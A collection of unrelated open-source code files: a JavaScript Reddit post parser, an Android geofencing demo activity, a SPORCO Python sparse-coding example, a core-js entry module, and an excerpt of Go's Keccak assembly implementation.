//format Sun Aug 18 12:51:06 2013 UTC
data.timePretty = moment.unix(data.created).format("ddd MMM DD HH:mm:ss YYYY") + " UTC"
//disabled comments if post is over one year old
data.commentsDisabled = false
var secondsAgo = ((new Date()).getTime() / 1000) - data.created
if (secondsAgo > 31536000) data.commentsDisabled = true
data.rname = "/r/" + data.subreddit
//so we can have external URLS add data-bypass to the a tag
data.selftext_html = (typeof data.selftext_html === 'undefined') ? '' : $('<div/>').html(data.selftext_html).text();
if (data.thumbnail === 'self') {
data.thumbnail = 'img/self.png'
} else if (data.thumbnail === 'nsfw') {
data.thumbnail = 'img/nsfw.png'
} else if (!data.thumbnail || data.thumbnail === 'default') {
data.thumbnail = 'img/notsure.png'
}
/*keeps track if the user voted for this or not
putting the class upmod makes the vote count as an upvote
downmod makes the vote show as a downvote
leave the classes as "down" and "up" to leave the no vote option
*/
var score = data.score
if (data.likes === null) {
data.voted = 'unvoted'
data.downmod = 'down'
data.upmod = 'up'
data.scoreUp = +score + 1
data.scoreDown = +score - 1
} else if (data.likes === true) {
data.voted = "likes"
data.downmod = 'down'
data.upmod = 'upmod'
score = data.score - 1
data.scoreUp = +score + 1
data.scoreDown = +score - 1
} else {
data.voted = "dislikes"
data.downmod = 'downmod'
data.upmod = 'up'
score = data.score + 1
data.scoreUp = +score + 2
data.scoreDown = +score - 1
}
//comments or plural comments
if (typeof data.num_comments !== 'undefined' && data.num_comments === 1) {
data.commentsPlural = 'comment'
} else {
data.commentsPlural = 'comments'
}
//We have to print the score out for the upvoted and downvoted values
if(data.url) {
data.url = data.url.replace(/&/g, '&'); //redditUpload images were an encodedUrl
}
//figure out a URL that we can embed in an image tag
data.expandHTML = ""
data.embededImg = false //if its a single image/video we can embed into a single post view
var imgUrl = data.url
if (this.checkIsImg(imgUrl) === false) {
//URL is NOT an image
//try and fix an imgur link?
imgUrl = this.fixImgur(imgUrl, data.domain)
}
data.imgUrl = imgUrl
data.smallImg = this.getSmallerImg(data.imgUrl)
if (typeof data.media_embed.content !== 'undefined' && data.url.endsWith('.gifv')) {
//gifv support
data.isGifv = true
data.media_embed = $('<div/>').html(data.media_embed.content).text();
data.expandHTML = data.media_embed
data.embededImg = true
} else if (typeof data.media_embed.content === 'undefined' && data.url.endsWith('.gifv')) {
data.embededImg = false //sometimes we dont have an embeded content for gifv's resulting in an empty expando
} else if (typeof data.media_embed.content === 'undefined' && data.is_self === false && data.imgUrl !== false) {
//this is a single image we can embed
data.embededImg = true
data.media_embed = "<img class='embedImg dragImg' src='" + data.imgUrl + "' />"
data.expandHTML = "<li><div class='expando-button expaned video'></div></li>"
} else if (typeof data.media_embed.content !== 'undefined') {
//if it has embed content, lets embed it
data.embededImg = true
data.media_embed = $('<div/>').html(data.media_embed.content).text();
data.expandHTML = "<li><div class='expando-button expanded video'></div></li>"
} else {
//data.media_embed = ""
}
if (data.permalink) {
data.permalink = data.permalink.replace('?ref=search_posts', '')
} else {
data.permalink = data.url
}
//determine URL to display
data.actualUrl = data.url
data.url = data.permalink
data.external = ''
// if (data.is_self !== true && data.embededImg !== true) {
// data.external = 'data-bypass'
// }
data.actualPermalink = data.permalink //we have this because we override the permalink in the slideshow, but we need a link to get to the comment page
data.slideshowUrl = '/comments/' + data.subreddit + "/" + data.id + '/slideshow'
return data;
},
checkIsImg: function(url) {
if (!url) return false
return (url.match(/\.(jpeg|jpg|gif|gifv|png)$/) !== null);
},
fixImgur: function(url, domain) {
if (this.containsStr("imgur.com", url)) {
//check if its a gallery
url = url.replace('http://imgur.com', 'http://i.imgur.com')
url = url.replace('/g/memes', '')
if (this.containsStr("imgur.com/a/", url) === true || this.containsStr("gallery", url) === true) {
return false
} else {
url = url.replace(/(\?.*)|(#.*)|(&.*)/g, "")
//first remove query parameters from the url
return url + ".jpg"
}
}
if(domain === 'i.reddituploads.com') {
return url
}
return false;
},
//imgur keeps a small image that we can use in the grid view
getSmallerImg: function(url) {
if (url !== false && this.containsStr("imgur.com", url)) {
//check if its a gallery
if (this.containsStr("imgur.com/a", url) === true || this.containsStr("gallery", url) === true) {
return false
} else {
url = url.replace(/(\?.*)|(#.*)|(&.*)/g, "")
url = url.replace('.jpg', '')
url = url.replace('.png', '')
url = url.replace('.jpeg', '')
url = url.replace('.gifv', '')
url = url.replace('.gif', '')
return url + "l.jpg" //add l to the end of the img url to give it a smaller preview img
}
}
return false;
},
containsStr: function(needle, haystack) {
if (typeof haystack === 'undefined') return false
return (haystack.indexOf(needle) >= 0)
}
});
});
| {
"pile_set_name": "Github"
} |
package com.hrupin.samples.androidgeofencessample;
import android.Manifest;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Color;
import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.v4.app.ActivityCompat;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.widget.Toast;
import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.api.GoogleApiClient;
import com.google.android.gms.common.api.GoogleApiClient.ConnectionCallbacks;
import com.google.android.gms.common.api.GoogleApiClient.OnConnectionFailedListener;
import com.google.android.gms.common.api.ResultCallback;
import com.google.android.gms.common.api.Status;
import com.google.android.gms.location.Geofence;
import com.google.android.gms.location.GeofencingRequest;
import com.google.android.gms.location.LocationServices;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.MapFragment;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.model.Circle;
import com.google.android.gms.maps.model.CircleOptions;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.Marker;
import com.google.android.gms.maps.model.MarkerOptions;
import com.hrupin.samples.androidgeofencessample.db.GeofenceContract;
import com.hrupin.samples.androidgeofencessample.db.GeofenceStorage;
import java.util.ArrayList;
import java.util.List;
public class MainActivity extends AppCompatActivity implements
ConnectionCallbacks, OnConnectionFailedListener, OnMapReadyCallback, GoogleMap.OnMapClickListener, GoogleMap.OnMarkerClickListener, GoogleMap.OnInfoWindowClickListener {
private static final String TAG = "MainActivity";
public static final String SHARED_PREFERENCES_NAME = BuildConfig.APPLICATION_ID + ".SHARED_PREFERENCES_NAME";
public static final String NEW_GEOFENCE_NUMBER = BuildConfig.APPLICATION_ID + ".NEW_GEOFENCE_NUMBER";
public static final long GEOFENCE_EXPIRATION_IN_HOURS = 12;
public static final long GEOFENCE_EXPIRATION_IN_MILLISECONDS = GEOFENCE_EXPIRATION_IN_HOURS * 60 * 60 * 1000;
public static final float GEOFENCE_RADIUS_IN_METERS = 100; // 100 m
private static final int PERMISSIONS_REQUEST = 105;
protected GoogleApiClient mGoogleApiClient;
protected ArrayList<Geofence> mGeofenceList;
private PendingIntent mGeofencePendingIntent;
private SharedPreferences mSharedPreferences;
private GoogleMap googleMap;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MapFragment mapFragment = (MapFragment) getFragmentManager()
.findFragmentById(R.id.map);
mapFragment.getMapAsync(this);
mGeofenceList = new ArrayList<>();
mGeofencePendingIntent = null;
mSharedPreferences = getSharedPreferences(SHARED_PREFERENCES_NAME, MODE_PRIVATE);
buildGoogleApiClient();
}
/**
* Builds a GoogleApiClient. Uses the {@code #addApi} method to request the LocationServices API.
*/
protected synchronized void buildGoogleApiClient() {
mGoogleApiClient = new GoogleApiClient.Builder(this)
.addConnectionCallbacks(this)
.addOnConnectionFailedListener(this)
.addApi(LocationServices.API)
.build();
}
@Override
protected void onStart() {
super.onStart();
mGoogleApiClient.connect();
}
@Override
protected void onStop() {
super.onStop();
mGoogleApiClient.disconnect();
}
/**
* Runs when a GoogleApiClient object successfully connects.
*/
@Override
public void onConnected(Bundle connectionHint) {
Log.i(TAG, "Connected to GoogleApiClient");
}
@Override
public void onConnectionFailed(ConnectionResult result) {
// Refer to the javadoc for ConnectionResult to see what error codes might be returned in
// onConnectionFailed.
Log.i(TAG, "Connection failed: ConnectionResult.getErrorCode() = " + result.getErrorCode());
}
@Override
public void onConnectionSuspended(int cause) {
// The connection to Google Play services was lost for some reason.
Log.i(TAG, "Connection suspended");
// onConnected() will be called again automatically when the service reconnects
}
private GeofencingRequest getGeofencingRequest(Geofence geofence) {
GeofencingRequest.Builder builder = new GeofencingRequest.Builder();
builder.setInitialTrigger(GeofencingRequest.INITIAL_TRIGGER_ENTER);
builder.addGeofence(geofence);
return builder.build();
}
private void logSecurityException(SecurityException securityException) {
Log.e(TAG, "Invalid location permission. " +
"You need to use ACCESS_FINE_LOCATION with geofences", securityException);
}
private PendingIntent getGeofencePendingIntent() {
if (mGeofencePendingIntent != null) {
return mGeofencePendingIntent;
}
Intent intent = new Intent(this, GeofenceTransitionsIntentService.class);
return PendingIntent.getService(this, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT);
}
@Override
public void onMapReady(GoogleMap map) {
googleMap = map;
initMap(googleMap);
}
private void initMap(GoogleMap map) {
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, PERMISSIONS_REQUEST);
return;
}
map.setMyLocationEnabled(true);
map.setOnMapClickListener(this);
map.setOnMarkerClickListener(this);
map.setOnInfoWindowClickListener(this);
reloadMapMarkers();
}
private void reloadMapMarkers() {
googleMap.clear();
try (Cursor cursor = GeofenceStorage.getCursor()) {
while (cursor.moveToNext()) {
long expires = Long.parseLong(cursor.getString(cursor.getColumnIndex(GeofenceContract.GeofenceEntry.COLUMN_NAME_EXPIRES)));
if(System.currentTimeMillis() < expires) {
String key = cursor.getString(cursor.getColumnIndex(GeofenceContract.GeofenceEntry.COLUMN_NAME_KEY));
double lat = Double.parseDouble(cursor.getString(cursor.getColumnIndex(GeofenceContract.GeofenceEntry.COLUMN_NAME_LAT)));
double lng = Double.parseDouble(cursor.getString(cursor.getColumnIndex(GeofenceContract.GeofenceEntry.COLUMN_NAME_LNG)));
addMarker(key, new LatLng(lat, lng));
}
}
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
switch (requestCode) {
case PERMISSIONS_REQUEST: {
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
initMap(googleMap);
} else {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, PERMISSIONS_REQUEST);
}
return;
}
}
}
@Override
public void onMapClick(final LatLng latLng) {
if (!mGoogleApiClient.isConnected()) {
Toast.makeText(this, getString(R.string.not_connected), Toast.LENGTH_SHORT).show();
return;
}
final String key = getNewGeofenceNumber() + "";
final long expTime = System.currentTimeMillis() + GEOFENCE_EXPIRATION_IN_MILLISECONDS;
addMarker(key, latLng);
Geofence geofence = new Geofence.Builder()
.setRequestId(key)
.setCircularRegion(
latLng.latitude,
latLng.longitude,
GEOFENCE_RADIUS_IN_METERS
)
.setExpirationDuration(GEOFENCE_EXPIRATION_IN_MILLISECONDS)
.setTransitionTypes(Geofence.GEOFENCE_TRANSITION_ENTER |
Geofence.GEOFENCE_TRANSITION_EXIT)
.build();
try {
LocationServices.GeofencingApi.addGeofences(
mGoogleApiClient,
getGeofencingRequest(geofence),
getGeofencePendingIntent()
).setResultCallback(new ResultCallback<Status>() {
@Override
public void onResult(@NonNull Status status) {
if (status.isSuccess()) {
GeofenceStorage.saveToDb(key, latLng, expTime);
Toast.makeText(MainActivity.this, getString(R.string.geofences_added), Toast.LENGTH_SHORT).show();
} else {
String errorMessage = GeofenceTransitionsIntentService.getErrorString(MainActivity.this, status.getStatusCode());
Log.e(TAG, errorMessage);
}
}
});
} catch (SecurityException securityException) {
logSecurityException(securityException);
}
}
private void addMarker(String key, LatLng latLng) {
googleMap.addMarker(new MarkerOptions()
.title("G:" + key)
.snippet("Click here if you want delete this geofence")
.position(latLng));
googleMap.addCircle(new CircleOptions()
.center(latLng)
.radius(GEOFENCE_RADIUS_IN_METERS)
.strokeColor(Color.RED)
.fillColor(Color.parseColor("#80ff0000")));
}
private int getNewGeofenceNumber(){
int number = mSharedPreferences.getInt(NEW_GEOFENCE_NUMBER, 0);
SharedPreferences.Editor editor = mSharedPreferences.edit();
editor.putInt(NEW_GEOFENCE_NUMBER, number + 1);
editor.commit();
return number;
}
@Override
public boolean onMarkerClick(Marker marker) {
return false;
}
@Override
public void onInfoWindowClick(Marker marker) {
final String requestId = marker.getTitle().split(":")[1];
if (!mGoogleApiClient.isConnected()) {
Toast.makeText(this, getString(R.string.not_connected), Toast.LENGTH_SHORT).show();
return;
}
try {
List<String> idList = new ArrayList<>();
idList.add(requestId);
LocationServices.GeofencingApi.removeGeofences(mGoogleApiClient, idList).setResultCallback(new ResultCallback<Status>() {
@Override
public void onResult(@NonNull Status status) {
if (status.isSuccess()) {
GeofenceStorage.removeGeofence(requestId);
Toast.makeText(MainActivity.this, getString(R.string.geofences_removed), Toast.LENGTH_SHORT).show();
reloadMapMarkers();
} else {
// Get the status code for the error and log it using a user-friendly message.
String errorMessage = GeofenceTransitionsIntentService.getErrorString(MainActivity.this,
status.getStatusCode());
Log.e(TAG, errorMessage);
}
}
});
} catch (SecurityException securityException) {
logSecurityException(securityException);
}
}
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This file is part of the SPORCO package. Details of the copyright
# and user license can be found in the 'LICENSE.txt' file distributed
# with the package.
"""
Multi-channel CSC
=================
This example demonstrates convolutional sparse coding of a colour signal with a product dictionary :cite:`garcia-2018-convolutional2`
$$\mathrm{argmin}_X \; \left\| D X B^T - S \right\|_1 + \lambda \| X \|_1$$
where $D$ is a convolutional dictionary, $B$ is a standard dictionary, and $S$ is a multi-channel input image.
This example uses the GPU accelerated version of :mod:`.admm.pdcsc` within the :mod:`sporco.cupy` subpackage.
"""
from __future__ import print_function
from builtins import input
import pyfftw # See https://github.com/pyFFTW/pyFFTW/issues/40
import numpy as np
from sporco import util
from sporco import signal
from sporco import fft
from sporco import linalg
from sporco import plot
from sporco import metric
from sporco.cupy import (cupy_enabled, np2cp, cp2np, select_device_by_load,
gpu_info)
from sporco.cupy.admm import pdcsc
from sporco.dictlrn import bpdndl
"""
Load example image.
"""
img = util.ExampleImages().image('kodim23.png', scaled=True,
idxexp=np.s_[160:416,60:316])
"""
Highpass filter example image.
"""
npd = 16
fltlmbd = 10
slc, shc = signal.tikhonov_filter(img, fltlmbd, npd)
"""
Load greyscale convolutional dictionary.
"""
D = util.convdicts()['G:8x8x64']
"""
Learn a standard dictionary $B$ to represent all pixel colours in the example image. Since the standard dictionary is a $3 \times 6$ matrix, the sparse representation $X$ has 6 pseudo-channels, which are converted to the 3 channels of the example image by right-multiplication by the dictionary $B$, giving $XB$.
"""
S = shc.reshape((-1, shc.shape[-1])).T
np.random.seed(12345)
B0 = np.random.randn(S.shape[0], 6)
lmbda = 1e-2
opt = bpdndl.BPDNDictLearn.Options(
{'Verbose': True, 'MaxMainIter': 100,
'BPDN': {'rho': 10.0*lmbda, 'AutoRho': {'Enabled': False}},
'CMOD': {'rho': S.shape[1] / 3e2, 'AutoRho': {'Enabled': False}}})
d = bpdndl.BPDNDictLearn(B0, S, lmbda, opt)
B = d.solve()
"""
Set :class:`.pdcsc.ConvProdDictBPDN` solver options.
"""
lmbda = 1e-1
opt = pdcsc.ConvProdDictBPDN.Options({'Verbose': True, 'MaxMainIter': 100,
'RelStopTol': 5e-3, 'AuxVarObj': False})
"""
Initialise and run CSC solver.
"""
if not cupy_enabled():
print('CuPy/GPU device not available: running without GPU acceleration\n')
else:
id = select_device_by_load()
info = gpu_info()
if info:
print('Running on GPU %d (%s)\n' % (id, info[id].name))
b = pdcsc.ConvProdDictBPDN(np2cp(D), np2cp(B), np2cp(shc), lmbda, opt, dimK=0)
X = cp2np(b.solve())
print("ConvProdDictBPDN solve time: %.2fs" % b.timer.elapsed('solve'))
"""
Compute partial and full reconstructions from sparse representation $X$ with respect to convolutional dictionary $D$ and standard dictionary $B$. The partial reconstructions are $DX$ and $XB$, and the full reconstruction is $DXB$.
"""
DX = fft.fftconv(D[..., np.newaxis, np.newaxis, :], X, axes=(0, 1))
XB = linalg.dot(B, X, axis=2)
shr = cp2np(b.reconstruct().squeeze())
imgr = slc + shr
print("Reconstruction PSNR: %.2fdB\n" % metric.psnr(img, imgr))
"""
Display original and reconstructed images.
"""
gamma = lambda x, g: np.sign(x) * (np.abs(x)**g)
fig, ax = plot.subplots(nrows=2, ncols=2, figsize=(14, 14))
plot.imview(img, title='Original image', ax=ax[0, 0], fig=fig)
plot.imview(slc, title='Lowpass component', ax=ax[0, 1], fig=fig)
plot.imview(imgr, title='Reconstructed image', ax=ax[1, 0], fig=fig)
plot.imview(gamma(shr, 0.6), title='Reconstructed highpass component',
ax=ax[1, 1], fig=fig)
fig.show()
"""
Display sparse representation components as sums of absolute values of coefficient maps for $X$, $DX$, and $XB$.
"""
fig, ax = plot.subplots(nrows=2, ncols=2, figsize=(14, 14))
plot.imview(gamma(np.sum(abs(X[..., 0:3, :, :]), axis=b.cri.axisM).squeeze(),
0.5), title='X (false colour, bands 0, 1, 2)', ax=ax[0, 0],
fig=fig)
plot.imview(gamma(np.sum(abs(X[..., 3:6, :, :]), axis=b.cri.axisM).squeeze(),
0.5), title='X (false colour, bands 3, 4, 5)', ax=ax[0, 1],
fig=fig)
plot.imview(gamma(np.sum(abs(DX[..., 0:3, :, :]), axis=b.cri.axisM).squeeze(),
0.5), title='DX (false colour, bands 0, 1, 2)', ax=ax[1, 0],
fig=fig)
plot.imview(gamma(np.sum(abs(DX[..., 3:6, :, :]), axis=b.cri.axisM).squeeze(),
0.5), title='DX (false colour, bands 3, 4, 5)', ax=ax[1, 1],
fig=fig)
fig.show()
plot.imview(gamma(np.sum(abs(XB), axis=b.cri.axisM).squeeze(), 0.5),
title='XB', fgsz=(6.4, 6.4))
"""
Get iterations statistics from solver object and plot functional value, ADMM primary and dual residuals, and automatically adjusted ADMM penalty parameter against the iteration number.
"""
its = b.getitstat()
fig, ax = plot.subplots(nrows=1, ncols=3, figsize=(20, 5))
plot.plot(its.ObjFun, xlbl='Iterations', ylbl='Functional', ax=ax[0], fig=fig)
plot.plot(np.vstack((its.PrimalRsdl, its.DualRsdl)).T,
ptyp='semilogy', xlbl='Iterations', ylbl='Residual',
lgnd=['Primal', 'Dual'], ax=ax[1], fig=fig)
plot.plot(its.Rho, xlbl='Iterations', ylbl='Penalty Parameter', ax=ax[2],
fig=fig)
fig.show()
# Wait for enter on keyboard
input()
| {
"pile_set_name": "Github"
} |
require('../../../modules/es7.string.trim-left');
module.exports = require('../../../modules/_entry-virtual')('String').trimLeft; | {
"pile_set_name": "Github"
} |
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build amd64,!appengine,!gccgo
// This code was translated into a form compatible with 6a from the public
// domain sources at https://github.com/gvanas/KeccakCodePackage
// Offsets in state
#define _ba (0*8)
#define _be (1*8)
#define _bi (2*8)
#define _bo (3*8)
#define _bu (4*8)
#define _ga (5*8)
#define _ge (6*8)
#define _gi (7*8)
#define _go (8*8)
#define _gu (9*8)
#define _ka (10*8)
#define _ke (11*8)
#define _ki (12*8)
#define _ko (13*8)
#define _ku (14*8)
#define _ma (15*8)
#define _me (16*8)
#define _mi (17*8)
#define _mo (18*8)
#define _mu (19*8)
#define _sa (20*8)
#define _se (21*8)
#define _si (22*8)
#define _so (23*8)
#define _su (24*8)
// Temporary registers
#define rT1 AX
// Round vars
#define rpState DI
#define rpStack SP
#define rDa BX
#define rDe CX
#define rDi DX
#define rDo R8
#define rDu R9
#define rBa R10
#define rBe R11
#define rBi R12
#define rBo R13
#define rBu R14
#define rCa SI
#define rCe BP
#define rCi rBi
#define rCo rBo
#define rCu R15
#define MOVQ_RBI_RCE MOVQ rBi, rCe
#define XORQ_RT1_RCA XORQ rT1, rCa
#define XORQ_RT1_RCE XORQ rT1, rCe
#define XORQ_RBA_RCU XORQ rBa, rCu
#define XORQ_RBE_RCU XORQ rBe, rCu
#define XORQ_RDU_RCU XORQ rDu, rCu
#define XORQ_RDA_RCA XORQ rDa, rCa
#define XORQ_RDE_RCE XORQ rDe, rCe
#define mKeccakRound(iState, oState, rc, B_RBI_RCE, G_RT1_RCA, G_RT1_RCE, G_RBA_RCU, K_RT1_RCA, K_RT1_RCE, K_RBA_RCU, M_RT1_RCA, M_RT1_RCE, M_RBE_RCU, S_RDU_RCU, S_RDA_RCA, S_RDE_RCE) \
/* Prepare round */ \
MOVQ rCe, rDa; \
ROLQ $1, rDa; \
\
MOVQ _bi(iState), rCi; \
XORQ _gi(iState), rDi; \
XORQ rCu, rDa; \
XORQ _ki(iState), rCi; \
XORQ _mi(iState), rDi; \
XORQ rDi, rCi; \
\
MOVQ rCi, rDe; \
ROLQ $1, rDe; \
\
MOVQ _bo(iState), rCo; \
XORQ _go(iState), rDo; \
XORQ rCa, rDe; \
XORQ _ko(iState), rCo; \
XORQ _mo(iState), rDo; \
XORQ rDo, rCo; \
\
MOVQ rCo, rDi; \
ROLQ $1, rDi; \
\
MOVQ rCu, rDo; \
XORQ rCe, rDi; \
ROLQ $1, rDo; \
\
MOVQ rCa, rDu; \
XORQ rCi, rDo; \
ROLQ $1, rDu; \
\
/* Result b */ \
MOVQ _ba(iState), rBa; \
MOVQ _ge(iState), rBe; \
XORQ rCo, rDu; \
MOVQ _ki(iState), rBi; \
MOVQ _mo(iState), rBo; \
MOVQ _su(iState), rBu; \
XORQ rDe, rBe; \
ROLQ $44, rBe; \
XORQ rDi, rBi; \
XORQ rDa, rBa; \
ROLQ $43, rBi; \
\
MOVQ rBe, rCa; \
MOVQ rc, rT1; \
ORQ rBi, rCa; \
XORQ rBa, rT1; \
XORQ rT1, rCa; \
MOVQ rCa, _ba(oState); \
\
XORQ rDu, rBu; \
ROLQ $14, rBu; \
MOVQ rBa, rCu; \
ANDQ rBe, rCu; \
XORQ rBu, rCu; \
MOVQ rCu, _bu(oState); \
\
XORQ rDo, rBo; \
ROLQ $21, rBo; \
MOVQ rBo, rT1; \
ANDQ rBu, rT1; \
XORQ rBi, rT1; \
MOVQ rT1, _bi(oState); \
\
NOTQ rBi; \
ORQ rBa, rBu; \
ORQ rBo, rBi; \
XORQ rBo, rBu; \
XORQ rBe, rBi; \
MOVQ rBu, _bo(oState); \
MOVQ rBi, _be(oState); \
B_RBI_RCE; \
\
/* Result g */ \
MOVQ _gu(iState), rBe; \
XORQ rDu, rBe; \
MOVQ _ka(iState), rBi; \
ROLQ $20, rBe; \
XORQ rDa, rBi; \
ROLQ $3, rBi; \
MOVQ _bo(iState), rBa; \
MOVQ rBe, rT1; \
ORQ rBi, rT1; \
XORQ rDo, rBa; \
MOVQ _me(iState), rBo; \
MOVQ _si(iState), rBu; \
ROLQ $28, rBa; \
XORQ rBa, rT1; \
MOVQ rT1, _ga(oState); \
G_RT1_RCA; \
\
XORQ rDe, rBo; \
ROLQ $45, rBo; \
MOVQ rBi, rT1; \
ANDQ rBo, rT1; \
XORQ rBe, rT1; \
MOVQ rT1, _ge(oState); \
G_RT1_RCE; \
\
XORQ rDi, rBu; \
ROLQ $61, rBu; \
MOVQ rBu, rT1; \
ORQ rBa, rT1; \
XORQ rBo, rT1; \
MOVQ rT1, _go(oState); \
\
ANDQ rBe, rBa; \
XORQ rBu, rBa; \
MOVQ rBa, _gu(oState); \
NOTQ rBu; \
G_RBA_RCU; \
\
ORQ rBu, rBo; \
XORQ rBi, rBo; \
MOVQ rBo, _gi(oState); \
\
/* Result k */ \
MOVQ _be(iState), rBa; \
MOVQ _gi(iState), rBe; \
MOVQ _ko(iState), rBi; \
MOVQ _mu(iState), rBo; \
MOVQ _sa(iState), rBu; \
XORQ rDi, rBe; \
ROLQ $6, rBe; \
XORQ rDo, rBi; \
ROLQ $25, rBi; \
MOVQ rBe, rT1; \
ORQ rBi, rT1; \
XORQ rDe, rBa; \
ROLQ $1, rBa; \
XORQ rBa, rT1; \
MOVQ rT1, _ka(oState); \
K_RT1_RCA; \
\
XORQ rDu, rBo; \
ROLQ $8, rBo; \
MOVQ rBi, rT1; \
ANDQ rBo, rT1; \
XORQ rBe, rT1; \
MOVQ rT1, _ke(oState); \
K_RT1_RCE; \
\
XORQ rDa, rBu; \
ROLQ $18, rBu; \
NOTQ rBo; \
MOVQ rBo, rT1; \
ANDQ rBu, rT1; \
XORQ rBi, rT1; \
MOVQ rT1, _ki(oState); \
\
MOVQ rBu, rT1; \
ORQ rBa, rT1; \
XORQ rBo, rT1; \
MOVQ rT1, _ko(oState); \
\
ANDQ rBe, rBa; \
XORQ rBu, rBa; \
MOVQ rBa, _ku(oState); \
K_RBA_RCU; \
\
/* Result m */ \
MOVQ _ga(iState), rBe; \
XORQ rDa, rBe; \
MOVQ _ke(iState), rBi; \
ROLQ $36, rBe; \
XORQ rDe, rBi; \
MOVQ _bu(iState), rBa; \
ROLQ $10, rBi; \
MOVQ rBe, rT1; \
MOVQ _mi(iState), rBo; \
ANDQ rBi, rT1; \
XORQ rDu, rBa; \
MOVQ _so(iState), rBu; \
ROLQ $27, rBa; \
XORQ rBa, rT1; \
MOVQ rT1, _ma(oState); \
M_RT1_RCA; \
\
XORQ rDi, rBo; \
ROLQ $15, rBo; \
MOVQ rBi, rT1; \
ORQ rBo, rT1; \
XORQ rBe, rT1; \
MOVQ rT1, _me(oState); \
M_RT1_RCE; \
\
XORQ rDo, rBu; \
ROLQ $56, rBu; \
NOTQ rBo; \
MOVQ rBo, rT1; \
ORQ rBu, rT1; \
XORQ rBi, rT1; \
MOVQ rT1, _mi(oState); \
\
ORQ rBa, rBe; \
XORQ rBu, rBe; \
MOVQ rBe, _mu(oState); \
\
ANDQ rBa, rBu; \
XORQ rBo, rBu; \
MOVQ rBu, _mo(oState); \
M_RBE_RCU; \
\
/* Result s */ \
MOVQ _bi(iState), rBa; \
MOVQ _go(iState), rBe; \
MOVQ _ku(iState), rBi; \
XORQ rDi, rBa; \
MOVQ _ma(iState), rBo; \
ROLQ $62, rBa; \
XORQ rDo, rBe; \
MOVQ _se(iState), rBu; \
ROLQ $55, rBe; \
\
XORQ rDu, rBi; \
MOVQ rBa, rDu; \
XORQ rDe, rBu; \
ROLQ $2, rBu; \
ANDQ rBe, rDu; \
XORQ rBu, rDu; \
MOVQ rDu, _su(oState); \
\
ROLQ $39, rBi; \
S_RDU_RCU; \
NOTQ rBe; \
XORQ rDa, rBo; \
MOVQ rBe, rDa; \
ANDQ rBi, rDa; \
XORQ rBa, rDa; \
MOVQ rDa, _sa(oState); \
S_RDA_RCA; \
\
ROLQ $41, rBo; \
MOVQ rBi, rDe; \
ORQ rBo, rDe; \
XORQ rBe, rDe; \
MOVQ rDe, _se(oState); \
S_RDE_RCE; \
\
MOVQ rBo, rDi; \
MOVQ rBu, rDo; \
ANDQ rBu, rDi; \
ORQ rBa, rDo; \
XORQ rBi, rDi; \
XORQ rBo, rDo; \
MOVQ rDi, _si(oState); \
MOVQ rDo, _so(oState) \
// func keccakF1600(state *[25]uint64)
TEXT ·keccakF1600(SB), 0, $200-8
MOVQ state+0(FP), rpState
// Convert the user state into an internal state
NOTQ _be(rpState)
NOTQ _bi(rpState)
NOTQ _go(rpState)
NOTQ _ki(rpState)
NOTQ _mi(rpState)
NOTQ _sa(rpState)
// Execute the KeccakF permutation
MOVQ _ba(rpState), rCa
MOVQ _be(rpState), rCe
MOVQ _bu(rpState), rCu
XORQ _ga(rpState), rCa
XORQ _ge(rpState), rCe
XORQ _gu(rpState), rCu
XORQ _ka(rpState), rCa
XORQ _ke(rpState), rCe
XORQ _ku(rpState), rCu
XORQ _ma(rpState), rCa
XORQ _me(rpState), rCe
XORQ _mu(rpState), rCu
XORQ _sa(rpState), rCa
XORQ _se(rpState), rCe
MOVQ _si(rpState), rDi
MOVQ _so(rpState), rDo
XORQ _su(rpState), rCu
mKeccakRound(rpState, rpStack, $0x0000000000000001, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x0000000000008082, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x800000000000808a, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
